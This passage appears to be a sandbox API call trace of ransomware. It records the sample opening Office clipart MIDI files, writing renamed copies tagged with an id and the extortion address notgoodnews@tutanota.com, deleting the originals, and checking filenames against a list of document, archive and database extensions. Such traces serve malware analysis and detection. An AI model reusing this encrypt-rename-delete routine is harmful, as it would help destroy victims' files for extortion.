office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.402] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=5440) returned 1 [0232.403] CloseHandle (hObject=0x35c) returned 1 [0232.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20 [0232.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.444] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.444] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0232.539] GetLastError () returned 0x0 [0232.540] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x1540, lpOverlapped=0x0) returned 1 [0232.572] WriteFile (in: hFile=0x1c0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x1550, lpOverlapped=0x0) returned 1 [0232.576] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0232.577] WriteFile (in: hFile=0x1c0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.577] SetEndOfFile (hFile=0x1c0) returned 1 [0232.577] CloseHandle (hObject=0x1c0) returned 1 [0232.578] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.578] SetEndOfFile (hFile=0x35c) returned 1 [0232.591] CloseHandle (hObject=0x35c) returned 1 [0232.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0232.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.674] lstrlenW (lpString=".doc") returned 4 [0232.674] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.674] lstrlenW (lpString=".docx") returned 5 [0232.674] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.675] lstrlenW (lpString=".pdf") returned 4 [0232.675] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.675] lstrlenW (lpString=".xls") returned 4 [0232.675] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.675] lstrlenW (lpString=".xlsx") returned 5 [0232.675] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.675] lstrlenW (lpString=".ppt") returned 4 [0232.675] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.675] lstrlenW (lpString=".zip") returned 4 [0232.675] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.675] lstrlenW (lpString=".rar") returned 4 [0232.676] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.676] lstrlenW (lpString=".bz2") returned 4 [0232.676] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.676] lstrlenW (lpString=".7z") returned 3 [0232.676] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.676] lstrlenW (lpString=".dbf") returned 4 [0232.676] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.676] lstrlenW (lpString=".1cd") returned 4 [0232.676] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.676] lstrlenW (lpString=".jpg") returned 4 [0232.677] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.677] lstrlenW (lpString=".doc") returned 4 [0232.677] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.677] lstrlenW (lpString=".docx") returned 5 [0232.677] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.677] lstrlenW (lpString=".pdf") returned 4 [0232.677] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.678] lstrlenW (lpString=".xls") returned 4 [0232.678] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.678] lstrlenW (lpString=".xlsx") returned 5 [0232.678] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.678] lstrlenW (lpString=".ppt") returned 4 [0232.678] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.678] lstrlenW (lpString=".zip") returned 4 [0232.678] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.678] lstrlenW (lpString=".rar") returned 4 [0232.678] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.678] lstrlenW (lpString=".bz2") returned 4 [0232.679] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.679] lstrlenW (lpString=".7z") returned 3 [0232.679] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.679] lstrlenW (lpString=".dbf") returned 4 [0232.679] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.679] lstrlenW (lpString=".1cd") returned 4 [0232.679] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0232.679] lstrlenW (lpString=".jpg") returned 4 [0232.679] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.680] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0232.680] lstrlenW (lpString="PARNT_03.MID") returned 12 [0232.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0232.681] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=8538) returned 1 [0232.681] CloseHandle (hObject=0x370) returned 1 [0232.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0232.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0232.683] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.683] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0232.684] GetLastError () returned 0x0 [0232.684] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x215a, lpOverlapped=0x0) returned 1 [0232.851] WriteFile (in: hFile=0x338, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x2160, lpOverlapped=0x0) returned 1 [0232.855] ReadFile (in: hFile=0x370, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0232.855] WriteFile (in: hFile=0x338, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.855] SetEndOfFile (hFile=0x338) returned 1 [0232.856] CloseHandle (hObject=0x338) returned 1 [0232.856] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.856] SetEndOfFile (hFile=0x370) returned 1 [0232.863] CloseHandle (hObject=0x370) returned 1 [0232.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0232.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.908] lstrlenW (lpString=".doc") returned 4 [0232.908] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.908] lstrlenW (lpString=".docx") returned 5 [0232.908] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0232.908] lstrlenW (lpString=".pdf") returned 4 [0232.908] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.908] lstrlenW (lpString=".xls") returned 4 [0232.909] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.909] lstrlenW (lpString=".xlsx") returned 5 [0232.909] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0232.909] lstrlenW (lpString=".ppt") returned 4 [0232.909] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.909] lstrlenW (lpString=".zip") returned 4 [0232.909] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.909] lstrlenW (lpString=".rar") returned 4 [0232.910] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.910] lstrlenW (lpString=".bz2") returned 4 [0232.910] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.910] lstrlenW (lpString=".7z") returned 3 [0232.910] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.910] lstrlenW (lpString=".dbf") returned 4 [0232.910] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.911] lstrlenW (lpString=".1cd") returned 4 [0232.911] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.911] lstrlenW (lpString=".jpg") returned 4 [0232.911] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.912] lstrlenW (lpString=".doc") returned 4 [0232.912] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.912] lstrlenW (lpString=".docx") returned 5 [0232.912] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0232.912] lstrlenW (lpString=".pdf") returned 4 [0232.913] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.913] lstrlenW (lpString=".xls") returned 4 [0232.913] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.913] lstrlenW (lpString=".xlsx") returned 5 [0232.913] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0232.913] lstrlenW (lpString=".ppt") returned 4 [0232.913] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.913] lstrlenW (lpString=".zip") returned 4 [0232.914] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.914] lstrlenW (lpString=".rar") returned 4 [0232.914] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.914] lstrlenW (lpString=".bz2") returned 4 [0232.914] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.914] lstrlenW (lpString=".7z") returned 3 [0232.914] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.915] lstrlenW (lpString=".dbf") returned 4 [0232.915] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.915] lstrlenW (lpString=".1cd") returned 4 [0232.915] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0232.915] lstrlenW (lpString=".jpg") returned 4 [0232.915] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.916] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0232.916] lstrlenW (lpString="PARNT_05.MID") returned 12 [0232.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0232.954] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=6020) returned 1 [0232.954] CloseHandle (hObject=0x338) returned 1 [0232.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0232.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0232.976] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.977] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0232.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0233.142] GetLastError () returned 0x0 [0233.142] ReadFile (in: hFile=0x3b0, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x1784, lpOverlapped=0x0) returned 1 [0233.423] WriteFile (in: hFile=0x370, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x1790, lpOverlapped=0x0) returned 1 [0233.426] ReadFile (in: hFile=0x3b0, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0233.426] WriteFile (in: hFile=0x370, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.426] SetEndOfFile (hFile=0x370) returned 1 [0233.426] CloseHandle (hObject=0x370) returned 1 [0233.427] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0233.427] SetEndOfFile (hFile=0x3b0) returned 1 [0233.444] CloseHandle (hObject=0x3b0) returned 1 [0233.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0233.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.495] lstrlenW (lpString=".doc") returned 4 [0233.495] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.495] lstrlenW (lpString=".docx") returned 5 [0233.495] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0233.495] lstrlenW (lpString=".pdf") returned 4 [0233.495] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.495] lstrlenW (lpString=".xls") returned 4 [0233.495] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.496] lstrlenW (lpString=".xlsx") returned 5 [0233.496] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0233.496] lstrlenW (lpString=".ppt") returned 4 [0233.496] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.496] lstrlenW (lpString=".zip") returned 4 [0233.496] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.496] lstrlenW (lpString=".rar") returned 4 [0233.496] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.497] lstrlenW (lpString=".bz2") returned 4 [0233.497] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.497] lstrlenW (lpString=".7z") returned 3 [0233.497] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.497] lstrlenW (lpString=".dbf") returned 4 [0233.497] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.497] lstrlenW (lpString=".1cd") returned 4 [0233.498] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.498] lstrlenW (lpString=".jpg") returned 4 [0233.498] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.499] lstrlenW (lpString=".doc") returned 4 [0233.499] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.499] lstrlenW (lpString=".docx") returned 5 [0233.499] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0233.499] lstrlenW (lpString=".pdf") returned 4 [0233.499] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.499] lstrlenW (lpString=".xls") returned 4 [0233.499] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.499] lstrlenW (lpString=".xlsx") returned 5 [0233.500] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0233.500] lstrlenW (lpString=".ppt") returned 4 [0233.500] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.500] lstrlenW (lpString=".zip") returned 4 [0233.500] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.500] lstrlenW (lpString=".rar") returned 4 [0233.500] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.501] lstrlenW (lpString=".bz2") returned 4 [0233.501] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.501] lstrlenW (lpString=".7z") returned 3 [0233.501] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.501] lstrlenW (lpString=".dbf") returned 4 [0233.501] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.501] lstrlenW (lpString=".1cd") returned 4 [0233.502] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0233.502] lstrlenW (lpString=".jpg") returned 4 [0233.502] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.503] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0233.503] lstrlenW (lpString="PARNT_06.MID") returned 12 [0233.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0233.504] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=7768) returned 1 [0233.504] CloseHandle (hObject=0x338) returned 1 [0233.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0233.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 